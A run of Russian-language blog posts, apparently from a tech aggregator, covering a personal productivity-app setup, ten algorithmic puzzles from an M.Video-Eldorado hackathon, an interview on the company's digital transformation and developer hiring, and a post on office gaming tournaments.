Если для вас не знакомо что-то из списка, далее я расскажу про каждое приложение и сценарий использования.

Файлы: OneDrive

У меня есть заданная файловая структура, которая позволяет мне держать порядок. Я не буду заострять на этом внимание и расскажу позже (что поделать, в начале материала еще мало и ссылаться на себя невозможно). Как я говорил раннее, у меня всё держится на облаках, а файлы, с которыми я работаю в потоке, подгружаются в облако, но остаются доступны и без него.

Для работы я пользуюсь OneDrive, потому что у меня корпоративная подписка Office365. Мне доступен 1TB, автоматическая синхронизация пакета Office365 и тимворк с документами. Я много работаю с документами форматов Office и это было лучшим решением для меня. Раньше у меня был Google Drive отличный базовый продукт, но мне не очень нравились настройки синхронизации с устройством.

Настройки OneDrive в Finder: можно поделиться ссылкой, выгрузить в облако и освободить память или всегда держать файл на готове

Почта: Spark

Удобный и бесплатный (для персонального использования) почтовый клиент. У меня много ящиков, конечно, есть структура с папками, но я буду отрицать своё ОКР. Spark доступен на разных платформах. У Spark хорошо отрабатывают интеграции и для меня это очень удобно: сразу кидаю задачу или делаю заметку. А ещё мне нравится виджет для iOS 14. До этого я пользовался Outlook, но мне не очень нравится его работа на iOS, хотя для корпоративного продукта с Office365 это очень удобно.

Два тапа от письма в Spark до задачи в Todoist на iOS

Календарь: Fantastical

Я уже упоминал Fantastical, как свой календарь. Premium доступен по подписке, персональный стоит 3150 рублей в год или 399 рублей в месяц. Мне нравится интеграции, распознавание натурального языка (когда ты пишешь tomorrow и он понимает, что это не заголовок события), UI и виджеты. Правда, компания еще не выпустила виджет для iOS 14, что меня огорчает. Fantastical показывает погоду, дает возможность настроить отображение по выбранным календарям (можно назвать это рабочими столами, когда определенный пулл календарей отображается, а другой нет) и висит небольшим окошком в статусбаре, когда нужно быстро посмотреть дату. Удобно, что видно загрузку дня и можно быстро определять тип событий по цвету. Для iOS все то же самое, а еще можно выбирать тип виджета. Большая часть функционала любого календаря доступна и в Google календаре, в качестве бесплатной альтернативы я бы посоветовал его.

Распознавание языка в Fantastical работает на английском

Календарь всегда доступен в статусбаре на Mac

Настраиваемый виджет Fantastical на iOS

Задачи: Todoist

Пожалуй, наиболее важная программка в моем паке. Todoist стандартный To-Do, но мне кажется наиболее удобным. Умеет распознавать натуральный язык, напоминает о делах по времени или месту, позволяет создавать повторяющиеся дела и имеет мощный набор фильтров и тегов. Доступен даже в расширении Chrome, а за деньги позволяет добавлять гостей, настраивать фильтры, загружать файлы до 100Mb и менять темы. Отлично интегрируется со многими сервисами, в моем случае это Fantastical и Spark. Задачи можно разложены по проектам, а внутри проектов доступны секции. Большую часть я вношу на ходу с iPhone, а на маке вижу дела в Fantastical. Задача создается в один шорткат, а благодаря распознаванию речи можно не искать нужные кнопки это киллер-фича. У Todoist уже доступен виджет на iOS 14 и он крутой.

Пример добавления задачи в Todoist с помощью распознавания ввода

Заметки: Evernote и Notion

Notion топовый продукт, спросите ближайшего продакт оунера. Не буду рассказывать о функционале, но там можно сделать почти всё. Я использую Notion, как CRM, kanban и базу данных. В Notion живет мой контент-план, список книг, вишлист и домашка по программированию. Да, нужно немного вникнуть в его работу, но после того, как вы поймете принцип построения линкованых баз данных в Notion, уверяю, вы найдете применение и в своей работе. Знаю, что многие студенты формируют учёбу в Notion. Это архитектура, а не готовое решение, в которой вы можно настроить почти всё. Есть на платформах, доступна в вебе. Иногда лежит, бесит загрузочный экран, жрет ресурсы, но чертовски функциональный. Бесплатный с ограничениями, но для большинства задач этого хватит. Для тимворка инструмент невероятный, $8 за пользователя в месяц. Персональный стоит $4, а для студентов бесплатно.

Так выглядит моё изучение Python, да, я не очень далеко продвинулся за лето

Evernote один из наиболее популярных и старых продуктов для заметок, но остается актуальным. Здесь все организовано как в библиотечном списке: блокноты, в них заметки, в заметках разный тип контента. Я пользуюсь Evernote давно и храню в нем что-то важное, но редко используемое. Сюда удобно что-то записать быстро, отсканировать документ и визитку. Здесь, например, храниться медицинская книжка моего пса, потому что я стараюсь сразу оцифровывать документы. Большая библиотека шаблонов позволяет использовать заметки в разных сценариях. Мне нравится, как Evernote работает на iOS после недавнего обновления.

Обновленный Evernote на iOS

Браузер: Chrome на компьютере, Safari на телефоне

Исторически пользуюсь Chrome, люблю закладки и расширения. На телефоне мне это не нужно, Safari отрабатывает быстро и решает задачу.

Рисёрч: Roam

Молодое и нашумевшее веб-приложение, которое начало давить на Notion. По сути, это Bulleted list, в который встроена линковка по тегам и страницам. Работая в Roam, я не отрываете руки от клавиатуры, совсем. Вводите текст, а Roam сделает линки и построит граф связей между страницами. Я использую Roam, когда провожу исследование рынка: удобно связывать мысли и источники. При входе у вас открывается страница дня и это просто чистый лист. Вы начинаете писать, а по пути ставите типы элементов, теги и ссылки. Я пользуюсь с беты, и в начале сервер просто лежал из-за количества пользователей. Сейчас команда с этим справилась, теперь просят $15 в месяц или $165 в год. Для студентов бесплатно, а ещё можно заплатить $500 за 5 лет и попасть в закрытое коммьюнити. Очень советую посмотреть внимательно.

Пример ввода материала в Roam

Пример построения связей между страницами в Roam

Трекер: Daylio

Недавняя находка, которой я пользуюсь всего два месяца. Daylio трекер настроения и привычек с небольшим окном заметок по результатам дня. Позволяет оценивать динамику активностей, не разрывать цепочку привычек и быстро оценивать, что вы делали в конкретный день. Ещё мне нравится функция year in pixels, которая показывает среднее настроение каждого дня в году. Premium стоит 1550 рублей в год или 199 рублей в месяц и позволяет разблокировать приложение по FaceID, учитывать корреляцию настроения и активностей и устанавливать бесконечное количество напоминаний.

Активности в Daylio

А вот так я сократил дни с низким качеством сна

Навигация по системе: Alfred

Alfred интелектуальный поиск, который ускорил мою навигацию по маку. В один Enter открывает файлы, приложения, контакты, папки и вообще всё, что у вас есть. Бесплатный, по апдейту дает более широкий функционал, но мне хватает и стандартного. Нажимаете шорткат, начинаете вводить и жмёте Enter. Я перестал пользоваться доком, спотлайтом, лончпадом и прочими базовыми элементами системы, потому что так гораздо быстрее.

Это невероятно, мастхэв, если вы на Mac

Пароли: LastPass

Отличный бесплатный менеджер паролей для всех моих устройств. LastPass может хранить пароли, банковские карты и защищенные заметки. Умеет заполнять поля и генерировать пароли. При регистрации на новом сайте расширение Chrome предложит сохранить пароль в хранилище. А еще есть отличная функция Authenticator. Технически, это приложение, которое является отдельным шагом многоуровневой верификации. Если вы логинитесь в свое хранилище, необходимо подтвердить это в Authenticator, который постоянно генерирует новые 6-значные коды доступа каждые две минуты.

Authenticator присылает уведомление и позволяет все залочить одним тапом, если кто-то пытается зайти

Если есть вопросы пишите

Это базовый набор инструментов, которым я пользуюсь каждый день. Если вам интересно узнать что-то еще, можете написать мне или в комментариях к этой статье. Надеюсь, было полезно и спасибо за ваши минутки!

Подробнее..

Головоломки Tech Monsters Night

19.06.2021 14:07:57 | Автор: admin


Совсем недавно М.Видео-Эльдорадо в рамках хакатона Tech Monsters Night предложили всем желающим стать участниками интеллектуальной битвы, решив серию головоломок.

Итоги состязания известны, победители получили свои заслуженные призы. Тем не менее, в комментариях к итоговому посту нас попросили поделиться с хабравчанами использованными в ходе проведенного конкурса головоломками.

Под катом серия предложенных участникам Tech Monsters Night задач. Таким образом, у вас есть чудесная возможность провести наступившие выходные за решением этих головоломок. Есть предложение: в начале мы публикуем задания, вы в комментариях размещаете варианты решений. А через пару дней в обновлениях к данному посту мы разместим правильные ответы.

1. Унести с места


Условие:
На складе стоит большой груз. Груз стоит рядами, вам даны вес груза в каждом ряду, найдите такие подряды, где сумма весов грузов равна количеству рядов на которых они находятся. В качестве ответа выведите количество таких подрядов, это поможет перевезти груз оптимальным способом.

Входные данные: строка распределения весов в ряду
Пример входных данных: 1,2,0 введенные веса грузов в каждом ряду.

Подряды:
2,0: 2+0 = 2 количество цифр
1: 1 = 1 количество цифр
1,2,0: 1+ 2 + 0 = 3 количество цифр

Выходные данные: количество рядов подходящих под условие

Пример ответа: 3
Тестовые пары:?

2. Мультиварки


Условие:
В магазине есть мультиварки k видов. Дано количество мультиварок каждого вида и их цена за штуку. Покупателю нужно купить t мультиварок.
Необходимо продать мультиварки, чтобы суммарная стоимость была максимальна.

Входные данные: Строка, в которой пары чисел разделены точкой с запятой (";"). Первая пара чисел содержит значения [t,k], а последующие количество мультиварок каждого вида n, и их стоимость p. [n,p]. Все пары чисел разделены запятой (",")

Пример входных данных: 7,3;5,10;2,5;3,6

Три вида мультиварок:
  • первый вид 5 штук, стоимостью по 10,
  • второй вид 2 штуки стоимостью по 5,
  • третий вид 3 штуки стоимостью по 6.

Выходные данные: суммарная максимальная стоимость

Пример ответа: 62
Тестовые пары:?

3. Наушники


Условие:
Нужно предсказать возможно ли при условиях, описанных ниже, чтобы в магазинах бытовой техники Tune 66 в наличии всегда было от a до b штук наушников. Известно, что их покупают ровно t штук ежедневно.

Изначально в магазинах содержалось h штук, при этом привозятся в магазины ровно k штук в начале каждого дня, начиная от второго дня. Будет ли количество наушников держаться в нужном диапазоне в течении s дней?

Входные данные: Строка, содержащая параметры: h,a,b,s,t, k. Числа в строке разделены запятой (",")

Ответ: 1 если да, 0 если нет
Тестовые пары:?

4. Акция


Условие
При покупке любого телефона проводится интересная акция. Покупатель может выиграть баллы на следующую покупку. Для этого было приготовлено k банок, в каждой банке находятся монеты. В каждой банке разное количество монет от 1 до k, количество монет в банке, соответствует номеру банки. Покупатель выбирает две баночки, он не знает сколько конкретно монет в них.

Покупатель получает половину, округленное в меньшую сторону содержимого выбранных баночек и уносит, вместе с одной из банок. Остальные монеты складываются в оставшуюся банку и она дальше участвует в розыгрыше, совместно с оставшимися. Найдите сколько максимум в ходе розыгрышей выиграют все покупатели за k-1 шагов.

Пример: пусть k = 4, тогда изначально есть баночки с [1,2,3,4] монетами, сначала берем 4 и 2 баночку. Покупатель уносит 3 монеты, а оставшиеся 3 монеты оставляет на месте 2 баночки. Тогда остается [1,3,3]. Следующий покупатель выбирает 2 и 3 банку, забирает половину их содержимого, т.е 3 монеты, и оставляет на месте 2 банки, вторую половину, то есть ещё 3 монеты. Тогда остается [1,3]. Дальше разыгрывается первая и вторая банка, покупатель забирает 2 монеты, и остается 2, т.е [2].

Входные данные: число k
Ответ: сколько максимум выиграли в сумме все покупатели?
Пример ответа: 8
Тестовые пары:?

5. Мероприятие


Условие
На рекламное мероприятие требуется организовать t участков квадратной формы. Есть несколько стен, длин h1, h2, h3 hn

У этих стен будут ставить ограждения для мероприятий, у одной стены могут организовать несколько участков. При этом вся стена должна быть задействована участками. Найдите такое разбиение, чтобы общая площадь участков была минимальной.



Пример разбиения, тут три стены, указаны зеленым, и 6 участков, указаны красным

Входные данные: Строка, разделенная точкой с запятой (";") на 2 части: первое число количество участков t, а далее, список длин всех стен через запятую (",").

Ответ: минимальная площадь
Пример ответа: 15
Тестовые пары:?

6. Поиск подходящих складов


Условие:
Магазин ищет места для хранения бытовой техники. Чтобы она не портилась, нужно создать особые условия. Были разработаны специальные пластины, благодаря которым бытовая техника не портится и соблюдаются условия хранения, такие как влажность воздуха, температура и т.д.

Склад размером 2 на k, разделен на ячейки размером 1 на 1, при этом некоторые ячейки свободны и именно это пространство предназначено для складирования бытовой техники. Можно ли поместить пластины, размером 2 на 1 так, чтобы они занимали всё свободное пространство, и при этом не накладывались друг на друга?



Пример с пластинами, где пластины розовые, зеленые, синие.

Входные данные: строка, в которой первое число длина склада k, а остальные символы это пары чисел, разделённые точкой с запятой (";), которые обозначают координаты занятых точек. Координаты между собой разделены запятой (,").

Пример входных данных: 5;2,2;1,4
Выходные данные: 1 если можно, 0 если нет.
Тестовые пары:?

7. Организация консультантов


Условие:
В магазине действует система взаимовыручки для консультантов. Каждый консультант, в зависимости от того, как долго он работает, может помочь определенному количеству своих коллег. Или никому, если это новичок.

Из всех сотрудников составлена последовательность, которая определяет, скольким коллегам он может оказать помощь. Нужно из этой последовательности определить кому будет помогать каждый сотрудник.

Чтобы не запутаться, каждый сотрудник может помогать только коллегам слева от себя или справа от себя в ряду. Нужно найти такое направление для каждого из них, чтобы были закрыты все консультанты. Или напишите, что это невозможно.

Если сотрудники новички, то они автоматически направлены направо. Входные данные подобраны так, чтобы можно было найти единственное решение. Пример ниже.



Входные данные: Строка, содержащая через запятую числа, которые говорят о том, скольким своим коллегам консультант может помочь. Место сотрудника в последовательности менять нельзя.

Пример входных данных: 0,0,2,1,1,2

Выходные данные: Строка, состоящая из 0 и 1, разделённых запятой, соответствующая входной, в которой 0 если консультант смотрит влево, и 1, если смотри вправо.

Если это невозможно, нужно вывести строку NO.
Пример выходных данных в примере: 1,1,0,0,1,0

Тестовые пары:?

8. Единая команда


Условие:
Чтобы сделать коллектив более сплоченным, администрация решила познакомить между собой сотрудников. Для этого было решено организовать тренинги доверия.

В этом мероприятии учувствуют две команды, причем команды должны быть поделены поровну и внутри каждой команды не должно быть знакомых людей. Имеется n отделов, люди внутри одного отдела могут быть не знакомы друг с другом. Для мероприятия выбираются два отдела, причем некоторые люди из этих отделов уже знакомы между собой. Учувствуют все люди из выбранных отделов. Выясните, сколькими способами можно разделить участников.



Входные данные: Строка, которая разделена точкой с запятой (";"), в которой первая часть это подстрока t,n, описывающий количество сотрудников t и количество отделов n. Вторая часть подстрока, в которой указано, какой из сотрудников (по порядку) в каком отделе находится (числа разделены запятой). Последующие части пары людей, знакомых друг с другом (порядковые номера сотрудников разделены запятой).

Пример входных данных: 6,3;1,1,2,2,3,3;1,3;1,5;1,6;2,5;2,6;3,4;3,5;5,6

Выходные данные: количество способов выбрать две команды.

Пример ответа: 2
Тестовые пары:?

9. Найдите местоположение


Условие:
Решается вопрос, где оптимально было бы разместить новые магазины бытовой техники. Один из факторов это пути доставки бытовой техники от различных складов. Каждый магазин должен быть расположен в одной из данных вершин, рядом с каким-то складом.

Каждый тип склада обозначается своей цифрой. Нужно найти вершины m, на которых следует разместить магазины и которые удовлетворяют условиям:
при движении от этой вершины до любой другой, типы складов не повторяются в рамках одного пути;
на разных путях, типы складов могут повторяться;

Посчитайте количество вершин m на графе.



Пример графа [[2,5,1,1,4],[1,2],[1,3],[2,4],[2,5]], при этом исконные вершины отмечены голубым

Входные данные: Строка, разделённая точкой с запятой (";"), в которой первая часть содержит типы складов по порядку (разделённых запятой). Остальные части являются доступными путями, которые записываются двумя числами (разделёнными запятой), где показывается, между какими складами существует дорога.

Пример входных данных: 2,5,1,1,4;1,2;1,3;2,4;2,5

Выходные данные: количество подходящих вершин m

Пример ответа: 3
Тестовые пары:?

10. Роботизация рекламы


Условие:
В магазине расставлены товары. Вокруг товаров должен ходить рекламный робот. Магазин застеклен, и покупатели могут видеть робота привлекающего внимание снаружи. Для упрощения задачи пол магазина представлен в виде квадратной сетки, где в узлах сетки лежат товары.

Робот может проезжать или по стороне квадрата, длина которой равно 1, или по диагонали. Робот должен объезжать всё содержимое магазина снаружи, чтобы его было видно. Найдите длину кратчайшего пути, по которому должен пройти робот.



Пример минимального маршрута, при обходе трех точек.

Входные данные: Строка, содержащая координаты предметов. Каждый предмет разделён точкой с запятой (";"), а каждая координата в нём запятой (",")
Пример входных данных: 1,2;3,4;4,1

Пример ответа: 3
Тестовые пары:?
Подробнее..

Группа М.Видео-Эльдорадо в 2021 году нам нужно еще 600 программистов

02.02.2021 18:09:11 | Автор: admin


Быть просто продавцом бытовой техники, банком или пиццерией стало немодно. Традиционный, успешный бизнес стремится отойти от былых побед, устремившись на скоростной поезд до станции цифровое будущее. Группа М.Видео-Эльдорадо в этом смысле не исключение.

Споры о том, победит ли онлайн традиционные форматы бизнеса, ведутся уже лет 20, и пандемия только разогрела дебаты. Да, мы чаще заказываем еду для себя и кота домой, но и потребность потестить ноутбук или смартфон перед покупкой тоже осталась. Удобно, когда сервис бесшовный выбрал в приложении, посмотрел в магазине, кликнул, оплатил, получил. Гибридные модели, объединяющие и онлайн, и реальную жизнь, на пике роста в самых разных сферах обучении, ритейле, медицине, финансах.

Какие ИТ-разработки и экспертиза нужны гибридным бизнесам, почему нельзя взять и закрыть магазины и как это связано с инновациями, рассказывает директор по цифровой трансформации Группы М.Видео-Эльдорадо Виктория Кунина.

imageДОСЬЕ
Виктория Кунина возглавляет дирекцию по цифровой трансформации М.Видео-Эльдорадо с конца 2020 года. Является экспертом в проектном управлении и имеет большой опыт внедрения масштабных трансформационных изменений.

Карьеру начала в компании Deloitte в 2004 году, где проработала пять лет в качестве консультанта по трансформации логистических и производственных процессов, а также внедрению информационных систем.

Присоединилась к компании М.Видео в 2009 году и прошла путь от руководителя проектов до директора подразделения, координирующего запуск инноваций в компании, принимала активное участие во всех ключевых изменениях бизнеса.

В 2017 году возглавила интеграционный офис по объединению М.Видео и Эльдорадо в единую группу. Окончила Московский государственный индустриальный университет по специальности Прикладная информатика в экономике в 2005 году.


Сейчас все резко захотели быть ИТ-компаниями. Вы не исключение? Зачем?

Захотелось не тот термин. Сеть М.Видео запустила онлайн-магазин в 2000 двадцать лет назад, в 2015 мы уже работали как омни-ритейлер, то есть, сайт и магазины были синхронизированы, и мы предлагали единые цены и сервисы во всех каналах. Если говорить о бэк-процессах, то мы достаточно давно используем предиктивную аналитику для поставок товаров в магазины, блокчейн для расчетов с поставщиками и биометрию для учета рабочего времени. Так что мы не новички в технологиях, и этот опыт нам сильно помог в пандемию.

Активный рост онлайн нам не помешал, наоборот, мы его возглавили. И хочется большего. Мы видим большой потенциал в собственной бизнес-модели, объединяющей онлайн и магазины.

Покупателям нужен быстрый, я бы сказала, моментальный, доступ к онлайн-заказам, возможность протестировать что-то перед покупкой, возможность в конце концов, разделить с кем-то ответственность за крупную трату. Это дают магазины. Если они являются продолжением онлайн-платформы, мобильных технологий, если в основе всех процессов там лежит аналитика данных.

Сейчас наш уровень цифровизации это 55-60 процентов, для ритейла вполне уверенный. В ближайшие два года мы хотим увеличить его почти в полтора раза как с точки зрения клиентских сервисов, сделав основой мобильные решения, так и усовершенствовав внутренние бизнес-процессы. В планах за два года эволюционировать из традиционной розничной компании в технологическую, с уровнем цифровой зрелости бизнеса на уровне 75-77 процентов.

Хороший лозунг, конечно. Но все-таки, когда от слов вы планируете переходить к делу?

На самом деле, за последние несколько лет, мы серьезно продвинулись в цифровой трансформации. Замечу, что цифровизация для нас это не только IT.

Мы параллельно двигаемся сразу по трем направлениям: формирование команды, разработка продукта, управление процессами цифровой трансформации. В 2020 году число штатных разработчиков заметно возросло. Например, команда Data science увеличилась в три раза. В 2021 году мы планируем нанять еще 600 программистов и технологических экспертов.

Сегодня нам нужны архитекторы, Java-разработчики, руководители QA, Product owner-ы (менеджеры по управлению продуктами), аналитики, Data science. Если у вас есть амбиции и желание сделать что-то в масштабах страны, смело стучитесь в наши двери, работы хватит на всех.



Но зачем тратиться на дорогую внутреннюю разработку, куда дешевле нанять внешних программистов на аутсорсинге?

Мы считаем, что цифровые сервисы должны рождаться внутри компании, потому, как мы лучше знаем свой бизнес и своих клиентов. Вообще, на мой взгляд, для Группы М.Видео-Эльдорадо настало время инсорсинга мы готовы запускать цифровые проекты силами внутренних исполнителей.

Сегодня соотношение аутсорсинга к инсорсингу у нас примерно 75:25 процентов. В ближайшие 2 года компания планирует изменить соотношение инсорсинга к аутсорсингу до 70:30.

Звучит несколько шапкозакидательски, конечно. Не боитесь не справиться со столь амбициозной задачей?

Возможно, не все цифровые проекты компании пока на виду. Но наши ребята из команды разработки делают реально крутые вещи. В конце 2020 года компания приняла решение уйти от централизованного управления изменениями, переформатировав дирекцию по бизнес-трансформации в вариант кросс-команд внутри бизнес-единиц Группы.

Таким образом, в каждом проекте, будь то электронная коммерция или направление развития внутренних микросервисов (HR, бухгалтерия, финансы, ЭДО), сегодня работает универсальная команда: Product owner, архитектор, команда разработки со 100-процентной загрузкой.

В результате бизнес формулирует гипотезу, а разработчики делают эту сказку былью. Дальше проект или летит или мы его допиливаем, и тогда он точно полетит.

Но это на словах. На деле, все гораздо масштабнее. Например, в 2020 году нами на основе Яндекс.Облака была построена инфраструктура для аналитики данных и машинного обучения. Также, был внедрен инструмент Tableau для построения интерактивных дашбордов.

Кроме того, были запущены рекомендательные сервисы по подбору товаров в онлайн и рознице. Мы запилили чат-бот, покрывающий 30 % тематик и полностью автоматизирующий 17 % обращений клиентов в контактный центр. Были созданы тепловые карты магазинов и бот для оповещения продавцов об очередях и одиноких покупателях по данным с камер видеонаблюдения. И все это за один только 2020 год!

Кстати, онлайн продажи в 2020 году выросли в 5 раз (аве коронавирусу). Так что пришлось всерьез озадачиться развитием интернет-магазина, обновлением наших мобильных приложений.



А можете пояснить логику развития самописных микросервисов, при наличии развитых ERP-систем типа SAP или Oracle?

Никто не отказывается от проверенных временем решений. Просто, если тебе нужно здесь и сейчас накатить простенький скрипт, упрощающий жизнь продавца, бухгалтера или финансиста, в большой системе тебе придется полжизни искать концы. С написанием собственных микросервисов, скорости увеличиваются в разы. Да и нервные клетки сохраняются лучше.

Но при таком подходе у вас же повсюду будут костыли и зоопарк из непонятных решений. Ушел программист из компании и унес сакральное знание о том, как все устроено и работает?

На самом деле, никто у нас не изобретает велосипед. Мы пишем на Java и других распространенных языках программирования. Кроме того, мы следим за тем, чтобы наша архитектура не выбивалась из общих отраслевых стандартов.



А можете рассказать о ноу-хау или каких-то прорывных технологиях, которые вы сегодня развиваете? Может дронов дрессируете на доставку или дополненную реальность планируете внедрять в скором времени?

Честно говоря, слабо себе представляю, как дроны потащат холодильник через всю Москву. Или стиральную машину, например. Хотя не исключаю, что логистика, особенно в части использования беспилотных автомобилей в ближайшие пять лет существенно изменится. Вообще, мы вкладываем серьезные ресурсы в машинное обучение, Big Data, предиктивную аналитику. Все это влияет на продажи и лояльность наших покупателей.

Способность предвосхитить ожидания клиента палочка-выручалочка для ритейлера. К тому же, есть в этом что-то магическое. Хотя под капотом у нас весьма продвинутая система рекомендаций. Уже сегодня, посещая наш сайт, вы можете увидеть в разделе С этим товаром покупают или Хиты продаж наиболее релевантные вашим интересам позиции.

Скажите, как вы делите зоны ответственности? Есть офис цифровой трансформации, есть ИТ. Кто главный?

Здесь все просто: ИТ и офис по цифровой трансформации имеют прямое подчинение генеральному директору.

Офис цифровой трансформации отвечает за фокус на цифровизации, продуктовую методологию и прозрачность по прогрессу. За ИТ реализация и технологическое обеспечение нашей деятельности.

На самом деле, программисты двигатель, сердце нашей цифровизации. Они обеспечивают перестройку производственных процессов и архитектуры на микросервисную в ключевых блоках. У них реализация отделимых и гибких ключевых канонических сервисов, создание центров компетенций в ИТ и BigData.

За ними остается ключевая задача в обеспечении гибкости и надежности ИТ-ландшафта компании, развитие платформы данных и работа с данными для создания сервисов в цифровых продуктах, построение целевого производственного процесса для систем DevSecOps.

Хорошо, допустим, убедили и я собрался прийти к вам в компанию. Куда стучаться?

Самое простое, зайти на сайт: jobinme.mvideoeldorado.ru/it. Там все описано, написано, рассказано и показано. Нужно заполнить анкету и добро пожаловать на борт! Кстати, можно задавать вопросы в комментариях к этому посту или написать в личку. Все расскажем, покажем, объясним.

Внутри у нас очень интересно. Когда меня спрашивают, зачем крутому программисту идти работать в Группу М.Видео-Эльдорадо, я обычно говорю, что от наших масштабов и амбиций может голова закружиться. Главное, чтобы не очень долго она кружилась, работы много. Важно все успеть!



P.S. Из жизни программиста Группы М.Видео-Эльдорадо: взгляд изнутри


imageАлександр Зеленюк, руководитель департамента развития технологической платформы, дирекции информационных технологий Группы МВидео-Эльдорадо:

Я возглавляю центр компетенций разработки программного обеспечения по разным направлениям (java, бэкенд и др.) и DevOps.

Кроме того, в моем ведении есть команда, создающая платформы core-сервисов (бэкенд-микросервисы) для использования в направлениях, связанных с нашим непосредственным бизнесом, ориентированных на продажи, логистику и ценообразование. Это всевозможные сервисы поиска товаров, их каталогизации, большой логистический конгломерат сервисов, сервисы персонализации и рекомендации цен с учетом географических особенностей клиентов и другие.

Наши разработки сегодня успешно применяются в рознице, в логистике и управлении работой складов, офисных функциях. Замечу, что все это сделано внутри, собственными силами на базе Open source инструментария. Для бэкенда мы используем преимущественно java или node.js, задумываемся над тем, чтобы начать использовать go.

На данном этапе мы формируем продуктовые команды, под каждое из условных направлений, поделив их по поддоменам: каталог, цены и промо, клиенты, персонализация, логистический блок и так далее. Для этого мы уходим в различные технологии. Мы активно используем service Mesh, мигрируем нашу инфраструктуру в Облака (здесь мы в Яндексе). Строим различные Kubernetes-кластера для различных сервисов.

На самом деле, определенный челлендж заключается в том, что на данном этапе мы испытываем дефицит в людях. Второй вызов строительство микросервисной архитектуры, базирующейся на различных Open source решениях. Это своего рода лоскутное одеяло. Но мы с ним успешно справляемся.

Прежде всего, у нас есть единое комьюнити разработчиков. Несмотря на то, что люди закреплены за конкретными проектами, мы стараемся регулярно проводить ротацию сотрудников из одной зоны в другую, организовывать обмен знаниями в формате developers sync или hands. На подобных встречах ребята рассказывают о реализуемых проектах, делятся лайфхаками в рамках внедряемых решений.

Кроме того, чтобы упорядочить создаваемую архитектуру, у нас есть пространство в Confluence, где мы ведем единый реестр всех сервисов, где описана их функциональность и технологическая составляющая (из чего они состоят и как они эксплуатируются с точки зрения инфраструктуры и кода).

Вообще, наша команда способна работать практически в любых условиях. Мы стартовали с проектом упомянутых выше бизнесовых микросервисов в начале 2020 года, в канун пандемии. Собрали условную Dream Team или Команду спецназа и начали делать микросервисы. Да, иногда это продукты из-под ножа, выражаясь кулинарной терминологией, но и драйв от такой скорости и свободы особенный.

За несколько недель мы умудрились успешно реализовать интеграции с тремя провайдерами такси, научились доставлять наши товары из закрытых магазинов на такси за пару часов, научились доставлять в партнерские пункты выдачи товаров, интегрировались с Почтой России, Пятерочкой.

Примечательно, что часть этих проектов долго лежала в бэклогах. Иногда по полгода, восемь месяцев. А здесь, в условиях высокой концентрации каждого члена команды и фокусировке на поиске оптимальных решений в условиях изоляции, а также при наличии спецназа разработчиков, мы умудрились справиться со всем этим полугодичным бэклогом меньше чем за месяц.

Сегодня у нас есть условно три больших направления развития. Первая большая, платформенная часть, с общими микросервисами. Второе направление онлайн опыт покупателей. Это все что касается любых онлайн каналов коммуникаций и точек касания с покупателем. Это и мобильное приложение, и интернет-магазин, и социальные сети и так далее.

И третье диджитализация пространства наших магазинов и привнесение максимального онлайн опыта внутрь розничной сети. Учитывая, что все больше людей приходят к нам со смартфонами, планшетами и умными часами, хочется, чтобы при визите к нам все эти устройства несли пользу своим владельцам и нам конечно же.

Все эти амбициозные задачи, как вы понимаете, требуют все больше рабочих рук, растущих из плечей и грамотных мозгов внутри компании. Поэтому, всячески призываю талантливых разработчиков смелее приходить к нам.

Приходя сегодня в М.Видео-Эльдорадо у вас есть уникальная возможность получить клевые проекты и повзаимодейстовать с тем же Мейлом или Яндексом.

А еще, можно посмотреть на мир продуктовой разработки не глазами чувака, который пишет софт для другого софта. В нашем случае есть возможность создавать решения, которые приносят реальную пользу конкретным людям. Если вы приходите в магазины М.Видео-Эльдорадо, у вас есть все шансы ощутить качество и пользу от своей работы на себе.

Кроме того, учитывая, что одним из трендов, закрепленном в стратегии компании, значится развитие перспективных технологий, у наших разработчиков есть уникальная возможность стремительно в них преуспеть. Компания в этом точно поможет. Ресурсы и нужные потенции для этого, определенно, есть.

Добро пожаловать!
Подробнее..

Wanted! Бизнесу нужны геймеры

11.02.2021 12:14:32 | Автор: admin

Почти 3,1 миллиарда людей в мире играют в видеоигры. И в наших реалиях гейминг уже давно стал приемлемым хобби, о котором не стыдно заявить при приеме на работу.

Скажем больше, многие компании считают увлечение компьютерными играми весомым преимуществом сотрудника. И мы с этим совершенно согласны.

Турнир в офисе и за его пределами

Еще в докарантинные времена в нашем офисе время от времени проводились целые турниры по компьютерным играм.

Когда все задачи сделаны, авралов нет и все в порядке, можно позволить себе немного расслабиться. Так что раз в месяц у нас были стабильные замесы в какую-нибудь игру.

Counter Strike, StarCraft, Quake III, Mortal Combat просто созданы для снятия напряжения. И иногда наш офис ближе к вечеру пятницы просто превращался в филиал компьютерного клуба.

Я с AWP на лонг. Раш B! На миде трое! Флешка пошла!

Во время игры кажется, что противоборствующие команды готовы перегрызть друг другу глотки. В те моменты нет субординации джун может крикнуть на сеньора, что он рак и вообще зря взял Дигла, если не умеет им пользоваться.

После турнира все, довольные, вспоминают самые яркие моменты. Как дизайнер затащил раунд один против четверых. Как начальник зажигательной гранатой на банке троих ухлопал. Как программист с AWP на лонге сисадмина не поймал с пяти выстрелов.

А если играть на какой-нибудь приз, то появляется и мощный соревновательный элемент. Причем характер приза не важен это может быть пицца от проигравшей команды, внеплановый выходной самому результативному игроку или возможность победившей команде уйти завтра с работы на час-два раньше.

Чеклист для запуска офисного турнира для геймеров

  1. Выберите игру

    Есть два варианта. Игра, в которую играют большинство или все сотрудники. Ведь если запустить турнир по Dota 2, а в нее умеют играть полтора человека, то смысла в турнире не будет. А вот если все заядлые дотеры, тогда заруба будет очень мощной.

    Игра с несложной механикой и простыми целями. В Counter-Strike или Quake без проблем может играть даже абсолютный новичок. И у него будут шансы соперничать с опытным игроком.

    Можно провести голосование среди участников. Так можно узнать их предпочтения и выбрать то, что зайдет всем.

  2. Придумайте приз

    На интерес играть тоже можно, но приз хорошо стимулирует соревновательный элемент. Для тимбилдинга это просто шикарно.

    Лучший вариант для командных матчей проигравшая команда заказывает пиццу и все дружно ее едят. Для индивидуальных игр победивший получает внеплановый выходной.

    Худший вариант в любой ситуации играть на деньги. Не делайте так. Из веселого развлечения турнир рискует превратиться в большую ссору.

  3. После турнира соберите фидбек

    В небольших компаниях будет вполне достаточно просто спросить, понравилось ли участникам. А в крупных, где количество сотрудников больше 50, можно провести небольшое анкетирование.

    Это поможет узнать, как команда отнеслась к подобному развлечению, что понравилось, а что не очень.

Геймеры в компании опыт, за который вы не платите

Любители компьютерных игр обычно обладают целым скопом софтскиллов, которые отлично влияют на работу в компании.

